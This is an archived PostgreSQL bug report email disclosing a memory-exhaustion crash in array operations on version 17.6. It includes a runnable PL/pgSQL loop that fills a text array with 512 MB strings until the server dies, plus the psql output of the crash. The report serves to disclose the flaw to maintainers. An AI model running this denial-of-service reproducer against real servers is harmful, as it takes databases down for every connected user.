From: PG Bug reporting form <noreply@postgresql.org>
To: pgsql-bugs@lists.postgresql.org
Cc: sibowu@amazon.com
Subject: BUG #19054: Memory exhaustion vulnerability in PostgreSQL array operations leads to server crash
Date: Mon, 15 Sep 2025 20:00:12 +0000
Message-ID: <19054-b3e91211012e644a@postgresql.org> (raw)
The following bug has been logged on the website:
Bug reference: 19054
Logged by: sibo wu
Email address: sibowu@amazon.com
PostgreSQL version: 17.6
Operating system: mac
Description:
PostgreSQL's array implementation can lead to server crashes due to
uncontrolled memory consumption during array operations. When performing
continuous array modifications within a loop, the server eventually exhausts
available memory and crashes, affecting all connected sessions.
psql (17.6)
Type "help" for help.
DO
$$
DECLARE
a_1 text[];
a text;
i bigint default 1;
BEGIN
a := repeat('A',pow(2,29)::int);
while true
loop
a_1[i] := a;
i := i + 1;
END LOOP;
END
$$;
server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.
The connection to the server was lost. Attempting reset: Failed.
!?> quit
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Reply to all the recipients using the --to and --cc options:
reply via email
To: pgsql-bugs@postgresql.org
Cc: noreply@postgresql.org, pgsql-bugs@lists.postgresql.org, sibowu@amazon.com
Subject: Re: BUG #19054: Memory exhaustion vulnerability in PostgreSQL array operations leads to server crash
In-Reply-To: <19054-b3e91211012e644a@postgresql.org>
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
This inbox is served by DDX for PostgreSQL; see mirroring instructions
for how to clone and mirror all data and code used for this inbox